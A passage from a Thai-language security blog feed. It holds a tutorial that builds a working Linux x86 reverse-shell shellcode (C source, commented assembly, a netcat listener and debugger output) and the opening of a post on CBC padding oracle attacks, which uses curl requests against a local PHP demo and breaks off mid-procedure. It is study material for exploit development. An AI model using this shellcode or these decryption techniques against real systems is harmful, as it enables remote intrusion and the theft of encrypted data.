เราจะได้ shellcode สำหรับ spawning shell ขนาด 21 bytes&lt;/p&gt;&lt;h4&gt;Shellcode สำหรับ Connect Back Shell&lt;/h4&gt;&lt;p&gt;มาถึง shellcode ตัวสุดท้ายที่เราจะมาเขียนกัน คือ reverse shell โดยจะเขียนสำหรับ IPv4 เท่านั้น และให้ต่อกลับมาที่ 127.0.0.1:5555&lt;/p&gt;&lt;p&gt;ก่อนจะเริ่มเขียน assembly เรามาดู code ที่เขียนด้วยภาษา C กันก่อน (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_07_7.c?attredirects=0&amp;d=1"&gt;ex_07_7.c&lt;/a&gt;) เพื่อจะได้เข้าใจว่าจะต้องมีการเรียกคำสั่งอะไรบ้าง&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/*&lt;br /&gt;gcc -static -o ex_07_7 ex_07_7.c&lt;br /&gt;*/&lt;br /&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;    int sk;&lt;br /&gt;    struct sockaddr_in sk_addr;&lt;br /&gt;&lt;br /&gt;    sk = socket(PF_INET, SOCK_STREAM, 0);&lt;br /&gt;    if (sk == -1)&lt;br /&gt;        return 1;&lt;br /&gt;&lt;br /&gt;    memset(&amp;sk_addr, 0, sizeof(sk_addr));&lt;br /&gt;    sk_addr.sin_family = AF_INET;&lt;br /&gt;    sk_addr.sin_port = 0xb315;  // htons(5555)&lt;br /&gt;    sk_addr.sin_addr.s_addr = 0x0100007f; // inet_addr("127.0.0.1")&lt;br /&gt;&lt;br /&gt;    if (connect(sk, (struct sockaddr *)&amp;sk_addr, sizeof(struct sockaddr)) == -1)&lt;br /&gt;        return 1;&lt;br /&gt;&lt;br /&gt;    dup2(sk, 0);&lt;br /&gt;    dup2(sk, 1);&lt;br /&gt;    dup2(sk, 2);&lt;br /&gt;&lt;br /&gt;    execve("/bin/sh", 0, 0);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;สำหรับคนที่ไม่เคยเขียนพวก socket (น่าจะงง) ผมขออธิบายสั้นๆ ละกัน ในบรรทัดที่ 15 ใช้สำหรับสร้าง socket ขึ้น สำหรับ Linux socket ที่ได้จะเป็น file descriptor อันหนึ่ง เหมือนพวก stdin, stdout แต่สามารถนำไปใช้ใน function ที่เกี่ยวกับ network ได้ ต่อมาบรรทัดที่ 19-22 คือเตรียม parameter สำหรับ connect() function ว่าจะต่อไปที่ IP ไหน port อะไร ให้สังเกตว่า network byte order ของค่าที่เป็นตัวเลขจะเป็น big endian เช่น port 5555 จะมีค่าเป็น 0x15b3 แต่เก็บใน memory ของ x86 เป็น 0xb315 ดังนั้นเราต้องใส่ 0xb315 เพื่อให้เก็บใน memory เป็น 0x15b3 หลังจากนั้นบรรทัดที่ 24 คือเชื่อมต่อไปที่ 127.0.0.1:5555 และเมื่อต่อได้แล้ว บรรทัดที่ 27-29 คือเปลี่ยน stdin, stdout, stderr ใช้เป็น file descriptor ของ socket และสุดท้ายบรรทัดที่ 31 ทำการเปลี่ยน process ด้วย execve เป็น /bin/sh ซึ่ง file descriptor ยังคงเดิม ทำให้เวลา shell รับคำสั่ง จะรับจากที่เราส่งข้อมูลไป และเวลาแสดงผลก็จะเป็นส่งข้อมูลมาหาเรา&lt;/p&gt;&lt;p&gt;หลังจาก compile ถ้าต้องการทดสอบ ต้องเปิดอีก terminal หนึ่ง แล้วพิมพ์คำสั่ง &lt;span class="command"&gt;"nc -nvvl 5555"&lt;/span&gt; หลังจากนั้นค่อยรันโปรแกรมที่ compile แล้ว เมื่อเชื่อมต่อแล้ว เราสามารถพิมพ์คำสั่งจาก terminal ที่รัน nc ไว้ แต่จะไม่เห็น shell prompt&lt;/p&gt;&lt;p&gt;เมื่อทดสอบเห็นว่าโปรแกรมทำงานได้แล้ว ก็มาดูกันว่าโปรแกรมนี้ใช้ system call อะไรบ้างที่จำเป็นต่อการเชื่อมต่อ&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ strace -v ./ex_07_7&lt;br /&gt;...&lt;br /&gt;socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3&lt;br /&gt;connect(3, {sa_family=AF_INET, sin_port=htons(5555), sin_addr=inet_addr("127.0.0.1")}, 16) = 0&lt;br /&gt;dup2(3, 0)                              = 0&lt;br /&gt;dup2(3, 1)                              = 1&lt;br /&gt;dup2(3, 2)                              = 2&lt;br /&gt;execve("/bin/sh", [0], [0])             = 0&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ถ้าเรามาลองไล่ดู system call number จะเจอเพียงแค่ dup2 กับ execve แต่จะหา socket กับ connect ไม่เจอ ซึ่งวิธีที่ทำรู้วิธีเรียก (ถ้าจะทำเอง) คือ อ่าน Linux code หรือไล่ assembly ดูว่า libc เรียกได้อย่างไร แต่เพื่อจะได้ไม่ยาวเกินผมเขียนวิธีเรียก system call ที่เกี่ยวกับ socket เลยละกัน&lt;/p&gt;&lt;p&gt;วิธีการใช้ system call สำหรับ socket นั้นจะใช้ __NR_socketcall หมายเลข 102 (0x66) โดยใส่ไว้ที่ eax และจะมี argument แค่ 2 ตัวเท่านั้น โดย ebx ระบุว่าจะใช้ socket command ไหน ซึ่งสามารถดูได้จากไฟล์ /usr/include/linux/net.h (ผมเอาเฉพาะที่ใช้มาแสดงไว้ข้างล่าง)&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;// from /usr/include/linux/net.h&lt;br /&gt;#define SYS_SOCKET      1               /* sys_socket(2)                */&lt;br /&gt;#define SYS_BIND        2               /* sys_bind(2)                  */&lt;br /&gt;#define SYS_CONNECT     3               /* sys_connect(2)               */&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ส่วน ecx คือ array ของ argument โดย argument ที่ใช้นั้น จะเป็นไปตาม argument ของ libc เลย ถ้าเราลอง debug โปรแกรมดูใน socket() function จะพบว่า&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb -q ./ex_07_7&lt;br /&gt;Reading symbols from /home/worawit/tutz/ch07/ex_07_7...(no debugging symbols found)...done.&lt;br /&gt;(gdb) b socket&lt;br /&gt;Breakpoint 1 at 0x8050750&lt;br /&gt;(gdb) r&lt;br /&gt;Starting program: /home/worawit/tutz/ch07/ex_07_7&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x08050750 in socket ()&lt;br /&gt;(gdb) disass&lt;br /&gt;Dump of assembler code for function socket:&lt;br /&gt;=&gt; 0x08050750 &lt;+0&gt;:     mov    %ebx,%edx  # edx ไม่เกี่ยว แค่เก็บค่า ebx ไว้ใน edx ก่อน&lt;br /&gt;   0x08050752 &lt;+2&gt;:     mov    $0x66,%eax # ใช้ socketcall&lt;br /&gt;   0x08050757 &lt;+7&gt;:     mov    $0x1,%ebx  # กำหนด ebx เป็น 1 คือ SYS_SOCKET&lt;br /&gt;   0x0805075c &lt;+12&gt;:    lea    0x4(%esp),%ecx  # โหลด address ของ arguments ไว้ที่ ecx&lt;br /&gt;   0x08050760 &lt;+16&gt;:    int    $0x80&lt;br /&gt;   0x08050762 &lt;+18&gt;:    mov    %edx,%ebx  # restore ค่า ebx&lt;br /&gt;   0x08050764 &lt;+20&gt;:    cmp    $0xffffff83,%eax&lt;br /&gt;   0x08050767 &lt;+23&gt;:    jae    0x8051aa0 &lt;__syscall_error&gt;&lt;br /&gt;   0x0805076d &lt;+29&gt;:    ret&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) x/4x $esp+4   # ลองดูค่า arguments ต่างๆ&lt;br /&gt;0xbffff6e0:     0x00000002      0x00000001      0x00000000      0x08048a42&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;และถ้าเราหาค่าที่ถูก define ไว้ใน header files ด้วยคำสั่ง grep&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;# working directory คือ /usr/include&lt;br /&gt;$ grep -wR PF_INET *&lt;br /&gt;bits/socket.h:#define   PF_INET         2       /* IP protocol family.  */&lt;br /&gt;bits/socket.h:#define   AF_INET         PF_INET&lt;br /&gt;$ grep -wR SOCK_STREAM *&lt;br /&gt;bits/socket.h:  SOCK_STREAM = 1,                /* Sequenced, reliable, connection-based&lt;br /&gt;...&lt;br /&gt;$ grep -wR IPPROTO_IP *&lt;br /&gt;linux/in.h:  IPPROTO_IP = 0,            /* Dummy protocol for TCP              */&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าค่าที่หาได้ ตรงกับ argument ที่เราดูด้วย gdb คือ PF_INET เป็น 2, SOCK_STREAM เป็น 1 และ IPPROTO_IP เป็น 0&lt;/p&gt;&lt;p&gt;และข้อมูลที่สำคัญสำหรับ connect คือโครงสร้างข้อมูลของ struct sockaddr กับ struct sockaddr_in สำหรับ IPv4 โดยผมเอามาจาก http://www.retran.com/beej/sockaddr_inman.html&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;struct sockaddr {&lt;br /&gt;    unsigned short    sa_family;    // address family, AF_xxx&lt;br /&gt;    char              sa_data[14];  // 14 bytes of protocol address&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;struct sockaddr_in {&lt;br /&gt;    short            sin_family;   // e.g. AF_INET, AF_INET6&lt;br /&gt;    unsigned short   sin_port;     // e.g. htons(3490)&lt;br /&gt;    struct in_addr   sin_addr;     // see struct in_addr, below&lt;br /&gt;    char             sin_zero[8];  // zero this if you want to&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อเรารู้วิธีการเรียก กับค่าต่างๆ ที่ต้องใส่ทั้งหมด ก็ถึงเวลาเขียน assembly กันแล้ว แต่คราวนี้ผมจะแสดงแบบที่สั้นที่สุดที่ผมคิดได้เลย และพวก \x00 ตรง IP กับ port ผมจะไม่สนใจนะครับ ซึ่งจะได้ assembly ดังนี้ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_07_8.s?attredirects=0&amp;d=1"&gt;ex_07_8.s&lt;/a&gt;) (อาจจะเร็วไปนิด ค่อยๆ ไล่ และคิดตามนะครับ)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;.data&lt;br /&gt;.text&lt;br /&gt;&lt;br /&gt;.globl _start&lt;br /&gt;&lt;br /&gt;_start:&lt;br /&gt;&lt;br /&gt;##################################&lt;br /&gt;# socket(PF_INET /* 2 */, SOCK_STREAM /* 1 */, IPPROTO_IP /* 0 */)&lt;br /&gt;xorl %ebx,%ebx # set ebx เป็น 0, ใช้ ebx เพราะเราต้องการให้มีค่าเป็น 1 และ argument ที่เราต้องใส่คือ 0,1,2 ตามลำดับ ทำให้เราสามารถใช้ ebx สำหรับ argument ขณะเพิ่มค่า ebx&lt;br /&gt;leal 0x66(%ebx),%eax # set syscall number โดยใช้ lea จาก ebx&lt;br /&gt;push %ebx # เอาค่า 0 ลงใน stack สำหรับ socket argument ตัวสุดท้าย&lt;br /&gt;inc  %ebx # เพิ่มค่า ebx ไป 1 จะได้ค่า ebx เป็นที่เราต้องการ&lt;br /&gt;push %ebx # เอาค่า 0 ลงใน stack สำหรับ socket argument ตัวที่สอง&lt;br /&gt;push $0x2 # ใช้ push imm แทนเพราะ ebx เป็นค่าที่ถูกต้องแล้ว&lt;br /&gt;movl %esp,%ecx # set ecx เป็น array of arguments&lt;br /&gt;int  $0x80&lt;br /&gt;&lt;br /&gt;xchg %eax,%ebx  # เก็บค่า socket fd ไว้ที่ ebx สำหรับ dup2 syscalls, ใช้ xchg แทน mov เพื่อประหยัดจำนวน byte&lt;br /&gt;# ตอนนี้ eax มีค่าเป็น 1 ส่วน ebx เก็บ socket fd ไว้&lt;br /&gt;&lt;br /&gt;###################################&lt;br /&gt;# dup2() to replace stdin, stdout, stderr&lt;br /&gt;# เอา dup2 มาทำตรงนี้ เพราะถ้าทำ connect ค่า socket fd ต้องไปเก็บที่ register ตัวอื่นก่อน&lt;br /&gt;# ถ้าทำตรงนี้ ค่า ebx ไม่จำเป็นต้อง set เพราะจากคำสั่ง xchg ข้างบน&lt;br /&gt;pop  %ecx  # ตอนนี้ top of stack คือ 2, เอามาใช้สำหรับ stderr&lt;br /&gt;dup_loop:  # loop จาก 2..0 เพื่อประหยัดคำสั่ง&lt;br /&gt;movb $0x3f, %al # กำหนด dup2 system call number&lt;br /&gt;int  $0x80&lt;br /&gt;dec  %ecx  # ลบค่า ecx เพื่อทำ stdout กับ stdin&lt;br /&gt;jns  dup_loop # หยุดทำเมื่อ ecx เป็นลบ&lt;br /&gt;# dup2 syscall จะ return หมายเลข fd ที่ถูก copy ไว้ใน eax&lt;br /&gt;# ดังนั้น ถึงจุดนี้จะได้ค่า&lt;br /&gt;# - eax เป็น 0&lt;br /&gt;# - ebx เป็น socket fd&lt;br /&gt;# - ecx เป็น -1 (0xffffffff)&lt;br /&gt;&lt;br /&gt;####################################&lt;br /&gt;# connect(sk, sockaddr, len)&lt;br /&gt;&lt;br /&gt;# จากการทดสอบ connect syscall จะสนใจเฉพาะค่า sin_family, sin_port, sin_addr ใน struct sockaddr_in เท่านั้น&lt;br /&gt;# ส่วนค่าใน sin_zero จะเป็นอะไรก็ได้&lt;br /&gt;# และ len argument จะเป็นตัวเลขอะไรก็ได้ที่ &gt;= 16&lt;br /&gt;movb $0x66,%al # set system call number&lt;br /&gt;# เตรียม sockaddr struct&lt;br /&gt;# เพราะ sin_zero เป็นอะไรก็ได้ ทำให้สามารถใช้ค่าที่อยู่ใน stack อยู่แล้วได้&lt;br /&gt;push $0x0100007f # push ค่า ip address (127.0.0.1) สำหรับ sin_addr&lt;br /&gt;push $0xb3150002 # push ค่า port (5555) สำหรับ sin_port และค่า AF_INET (2) สำหรับ sin_family&lt;br /&gt;# สำหรับคนที่ต้องการให้ไม่มี \x00 จากคำสั่ง push ข้างบน วิธีหนึ่ง (แต่ทำได้ไม่ทุกกรณี) คือใช้ xor กับ ecx (ข้างล่าง ถ้าต้องการลองก็เอา comment ออก)&lt;br /&gt;#push %ecx&lt;br /&gt;#xorl $0xfeffff80,(%esp)&lt;br /&gt;#xorl $0x4ceafffd,%ecx&lt;br /&gt;#push %ecx&lt;br /&gt;movl %esp, %ecx # กำหนดค่า ecx เป็น address ของ sockaddr (top of stack)&lt;br /&gt;# เตรียม array of arguments (ecx)&lt;br /&gt;push %eax # ใช้ eax (0x66) สำหรับ len เนื่องจากมากกว่า 16&lt;br /&gt;push %ecx # address ของ sockaddr&lt;br /&gt;push %ebx # socket fd (จริงแล้วจะใช้ค่า 0,1,2 ก็ได้เพราะเราได้สั่ง dup2() ไปแล้ว)&lt;br /&gt;movl %esp,%ecx&lt;br /&gt;#movb $0x03,%ebx # ถ้าเราใช้ movb อาจจะไม่ได้ทุกกรณี เพราะ fd ที่ได้จาก socket() อาจมีค่ามากกว่า 255&lt;br /&gt;push $0x03&lt;br /&gt;pop  %ebx  # ใช้ push แล้ว pop จะใช้ 3 bytes แต่ถ้าใช้ xor แล้ว movb จะใช้ 4 bytes&lt;br /&gt;int  $0x80&lt;br /&gt;# ถ้าต่อสำเร็จ eax จะเห็น 0&lt;br /&gt;# Note: ไม่มีการตรวจสอบผลลัพธ์ของการ connect&lt;br /&gt;&lt;br /&gt;###################################&lt;br /&gt;# execve("/bin//sh", 0, 0)&lt;br /&gt;cdq    # to make edx 0&lt;br /&gt;push %edx&lt;br /&gt;push $0x68732f2f&lt;br /&gt;push $0x6e69622f&lt;br /&gt;movl %esp, %ebx&lt;br /&gt;xorl %ecx, %ecx&lt;br /&gt;movb $0x0b, %al&lt;br /&gt;int  $0x80&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อ compile แล้วทดสอบจะได้ผลเหมือนกับที่เขียนด้วยภาษา C (ทดสอบเองนะครับ) สำหรับคนที่อยากฝึกเพิ่มเติม ก็แนะนำให้ลองเขียน setreuid() ดู&lt;/p&gt;&lt;h4&gt;วิธี Disassemble Shellcode&lt;/h4&gt;&lt;p&gt;ก่อนจะจบ ผมมีแถมให้ เพราะในหลายๆ ครั้งที่อาจจะต้องมีการวิเคราะห์การทำงานของ shellcode ที่ได้มา ดังนั้นเรามาดูคำสั่งการ disassemble shellcode ของ x86 โดยผมจะใช้ exit shellcode จากตัวอย่าง ex_07_3.s&lt;/p&gt;&lt;p&gt;วิธีแรก คือใช้คำสั่ง x86dis โดยคำสั่งนี้สามารถเลือก syntax ได้ ถ้าใครต้องการแบบ intel ก็เปลี่ยนจาก att เป็น intel&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' | x86dis -e 0 -s att&lt;br /&gt;00000000 31 C0                          xor     %eax, %eax&lt;br /&gt;00000002 31 DB                          xor     %ebx, %ebx&lt;br /&gt;00000004 B0 01                          mov     $0x01, %al&lt;br /&gt;00000006 CD 80                          int     $0x80&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;วิธีที่สอง ใช้คำสั่ง objdump เนื่องด้วย objdump รับ input จาก stdin ไม่ได้ ดังนั้นจะต้องมีการเขียนลงไฟล์ก่อน&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' &gt; sc.bin.tmp &amp;&amp; objdump -b binary -m i386 -D ./sc.bin.tmp &amp;&amp; rm -f sc.bin.tmp&lt;br /&gt;./sc.bin.tmp:     file format binary&lt;br /&gt;&lt;br /&gt;Disassembly of section .data:&lt;br /&gt;&lt;br /&gt;00000000 &lt;.data&gt;:&lt;br /&gt;   0:   31 c0                   xor    %eax,%eax&lt;br /&gt;   2:   31 db                   xor    %ebx,%ebx&lt;br /&gt;   4:   b0 01                   mov    $0x1,%al&lt;br /&gt;   6:   cd 80                   int    $0x80&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;วิธีที่สาม (สุดท้ายของผม) คือใช้คำสั่ง ndisasm&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' &gt; sc.bin.tmp &amp;&amp; ndisasm -b 32 ./sc.bin.tmp &amp;&amp; rm -f sc.bin.tmp&lt;br /&gt;00000000  31C0              xor eax,eax&lt;br /&gt;00000002  31DB              xor ebx,ebx&lt;br /&gt;00000004  B001              mov al,0x1&lt;br /&gt;00000006  CD80              int 0x80&lt;br /&gt;&lt;/pre&gt;&lt;br/&gt;&lt;p&gt;&lt;b&gt;Reference:&lt;/b&gt;&lt;br/&gt;- The Shellcoder's Handbook: Discovering and Exploiting Security Holes&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-8283153291547169027?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/8283153291547169027/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/02/linux-x86-shellcode.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8283153291547169027'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8283153291547169027'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/02/linux-x86-shellcode.html' title='การเขียน Linux x86 Shellcode'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-6s3f8kbIzNE/TUp4yVXjodI/AAAAAAAAAE8/wqY1-AKjB4c/s72-c/liexp_07_1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-8262032363134347251</id><published>2011-01-24T22:23:00.001+07:00</published><updated>2011-02-04T21:53:35.396+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cryptography'/><title type='text'>Padding Oracle Attacks</title><content type='html'>&lt;p&gt;วันนี้ผมขอเขียนเรื่อง Padding Oracle Attacks ก่อน (จริงๆ แล้วตั้งใจจะเขียนตั้งแต่เพิ่งเปิด blog) เรื่องนี้ไม่ได้เป็นเรื่องใหม่ แต่ผมเห็นว่าเป็นเรื่องที่น่าสนใจมาก เพราะเป็น cryptography attack ที่ใช้ความรู้เกี่ยวกับ cryptography ไม่เยอะ แต่มีผลกระทบกับ application framework หลายตัว เช่น JavaServer Faces (JSF), Ruby on rails, ASP.NET  o.O&lt;/p&gt;&lt;p&gt;เทคนิคนี้ จริงๆแล้วได้มีการพูดถึงในงาน &lt;a href="http://www.iacr.org/archive/eurocrypt2002/23320530/cbc02_e02d.pdf"&gt;Eurocrypt 2002 โดย Serge Vaudenay&lt;/a&gt; โดยพูดถึงช่องโหว่เกี่ยวกับ CBC padding ของ encryption protocol ต่างๆ เช่น SSL, IPSEC, WTLS, SSH2 และเมื่อปี 2010 ที่ผ่านมา security researcher 2 คน คือ Joliano Rizzo กับ Thai Duong ได้นำเทคนิคนี้มาใช้อีกรอบ แต่เป็นการโจมตี web application โดยพูดในงาน Blackhat Europe 2010&lt;/p&gt;&lt;p&gt;เรามาเริ่มเนื้อหากันเลยดีกว่า เทคนิคนี้เป็นการโจมตีเมื่อใช้ encryption algorithm ที่ทำงานเป็น block ใน CBC mode ถ้าใครไม่รู้จัก CBC mode แนะนำให้หาอ่านก่อนนะครับ หรือไม่ก็ดูในบทความแรกที่ผมเขียน (CBC Bit Flipping) เผื่อจะทำให้เข้าใจ&lt;/p&gt;&lt;p&gt;เนื่องด้วย encryption algorithm เช่น DES, AES นั้นทำงานเป็น block ดังนั้นถ้าข้อมูลไม่ครบ block ก็จำเป็นต้อง pad ข้อมูลเข้าไปเพื่อที่จะเต็ม block แล้วทำการ encryption ได้ โดย padding scheme ที่นิยมใช้กัน จะเป็นแบบเดียวกับที่กล่าวใน PKCS#5, PKCS#7 หรือ RFC2630 (CMS) วิธีการ padding ก็คือเติมตัวเลขเท่าจำนวนที่ต้อง pad โดยต้อง pad อย่างน้อย 1 byte ตามตัวอย่างในรูป โดยสมมติว่าขนาดของ block คือ 8 bytes&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_4X9aA2jxLhc/TTxUWIjc6bI/AAAAAAAAADw/Lm_VH5f3mOU/s1600/padding.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="103" width="400" src="http://3.bp.blogspot.com/_4X9aA2jxLhc/TTxUWIjc6bI/AAAAAAAAADw/Lm_VH5f3mOU/s400/padding.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;เพื่อที่จะให้เข้าใจง่ายขึ้น ผมจึงได้เขียน php code ที่ใช้ run บน web server สำหรับสาธิตการทำงานของ attack นี้โดยจะมี code อยู่ 3 ไฟล์ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/padding_oracle/po_gen.php?attredirects=0&amp;d=1"&gt;po_gen.php&lt;/a&gt;, &lt;a href="https://sites.google.com/site/worawita/files/thtutz/padding_oracle/po_check.php?attredirects=0&amp;d=1"&gt;po_check.php&lt;/a&gt;, &lt;a href="https://sites.google.com/site/worawita/files/thtutz/padding_oracle/po_inc.php?attredirects=0&amp;d=1"&gt;po_inc.php&lt;/a&gt;) ไฟล์แรก po_gen.php ใช้สำหรับ encrypt ข้อมูลโดยใช้แทนการ login ที่เราใส่ username แล้วมีการส่ง token สำหรับการ request อื่นๆ และไฟล์ที่สอง po_check.php ซึ่งรับ token แล้วบอกว่าข้อความในนั้นคืออะไร ใช้แทนการตรวจสอบ token และไฟล์สุดท้าย po_inc.php เป็นไฟล์ที่ใช้ config ค่าต่างๆ สำหรับ encryption โดยผมได้กำหนดค่า IV เป็น fixed value เพื่อให้ค่าที่ผมแสดงตรงกับของทุกๆคน ซึ่งจริงๆแล้วควรเป็น random value (แก้ให้ random โดยเปลี่ยนค่า RANDOM_IV เป็น TRUE) และผมจะใช้ 3-DES ในการทำ encryption เพราะมี block size เป็น 8 bytes เขียนอธิบายได้ง่ายกว่า AES ที่มี block size เป็น 16 bytes (ถ้าใครอยากลองเป็น AES ก็แก้ค่า USE_3DES เป็น FALSE นะครับ)&lt;/p&gt;&lt;p&gt;สมมติว่าผมจะส่ง "user5" ไปที่ po_gen.php แล้วจะได้ encrypted data&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ curl "http://127.0.0.1/thtutz/po_gen.php?user=user5"&lt;br /&gt;5f4649584544495621a7b2b00f85b47d&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;และถ้าผมส่ง encrypted data นี้ไปที่ po_check.php จะได้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ curl "http://127.0.0.1/thtutz/po_check.php?user=5f4649584544495621a7b2b00f85b47d"&lt;br /&gt;Data OK : user5&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;โดยมีค่าต่างๆในการทำ decryption ตามรูป&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_4X9aA2jxLhc/TTxUdN0lt5I/AAAAAAAAAD4/RZeYQNxDu_M/s1600/decrypt_1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="186" width="400" src="http://4.bp.blogspot.com/_4X9aA2jxLhc/TTxUdN0lt5I/AAAAAAAAAD4/RZeYQNxDu_M/s400/decrypt_1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;แต่ถ้าเราเปลี่ยน encrypted data โดยสมมติว่าเปลี่ยนค่าหลังสุดของ IV เป็น 00 จะได้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ curl "http://127.0.0.1/thtutz/po_check.php?user=5f4649584544490021a7b2b00f85b47d"&lt;br /&gt;Error: Invalid padding&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;โดยมีค่าต่างๆในการทำ decryption ตามรูป&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_4X9aA2jxLhc/TTxUmSLJUMI/AAAAAAAAAEA/q0hA_CCrP5U/s1600/decrypt_2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="189" width="400" src="http://1.bp.blogspot.com/_4X9aA2jxLhc/TTxUmSLJUMI/AAAAAAAAAEA/q0hA_CCrP5U/s400/decrypt_2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;จากรูปจะเห็นว่า byte สุดท้ายเป็น 0x55 ซึ่งทำให้เจอ error ขณะทำการตรวจสอบ padding&lt;/p&gt;&lt;p&gt;concept ของ padding oracle attack นี้คือส่ง encrypted data ไปที่ server เพื่อให้ server บอกว่า padding ของ encrypted data นี้ถูกต้องหรือไม่ โดยใช้ error message หรือ response ต่างๆ ที่สามารถแยกได้ว่า encrypted data นี้เมื่อ server decrypt แล้ว padding ถูกหรือไม่&lt;/p&gt;&lt;p&gt;จากรูปการ decryption จะเห็นว่าเรารู้ค่าของ Encrypted data และ IV เท่านั้น ส่วน Intermediary Value นั้น ปกติต้องมี Encryption Key เท่านั้นจึงจะหา Intermediary Value ออกมาได้ และส่วนที่สำคัญที่สุดของเทคนิคนี้ คือสามารถหา Intermediary Value ได้โดยไม่ต้องรู้ว่า Encryption Key คืออะไร&lt;/p&gt;&lt;h4&gt;Padding Oracle Attack เพื่อ decrypt ข้อมูล&lt;/h4&gt;&lt;p&gt;โดยปกติ เวลาเราได้ encrypted data มาจาก server เราไม่รู้ว่าข้างในนั้นเก็บข้อมูลในรูปแบบไหน ในส่วนนี้ผมจะอธิบายวิธีการ decrypt ข้อมูลโดยสมมติว่าเราไม่รู้ข้อมูลที่เป็น plaintext และมีการส่ง request ไปที่ po_check.php เท่านั้น&lt;/p&gt;&lt;p&gt;วิธีก็คือ (อยากให้คิดตาม เพราะถ้าเข้าใจ จะคิดเองได้เลย)&lt;br/&gt;1. เปลี่ยนค่า IV เป็น 0x00 ให้หมด (จริงๆ คือเปลี่ยนเป็นอะไรก็ได้)&lt;br/&gt;2. เริ่มจาก byte หลังสุดของ block และให้จำนวนที่ต้อง pad คือ 1 byte ดังนั้น plaintext ของ byte สุดท้ายต้องเป็น 0x01&lt;br/&gt;3. เปลี่ยนค่า IV ไปเรื่อยๆ จนกว่า server ไม่บอกว่า "Error: Invalid padding"&lt;br/&gt;4. เมื่อได้ค่า IV และ plaintext ของ byte ที่ทำงานอยู่ ทำให้สามารถหา Intermediary Value ของ byte นั้นได้โดยการทำ xor&lt;br/&gt;5. หา plaintext ของ byte ที่ทำงานอยู่ จะได้ plaintext จากการนำ Intermediary Value มา xor กับค่า IV เดิม&lt;br/&gt;6. เปลี่ยนเป็น byte ถัดไปจากข้างหลัง และเปลี่ยนจำนวนที่ต้อง pad เป็นค่าถัดไป จนกว่าจะครบ block&lt;br/&gt;7. เปลี่ยน 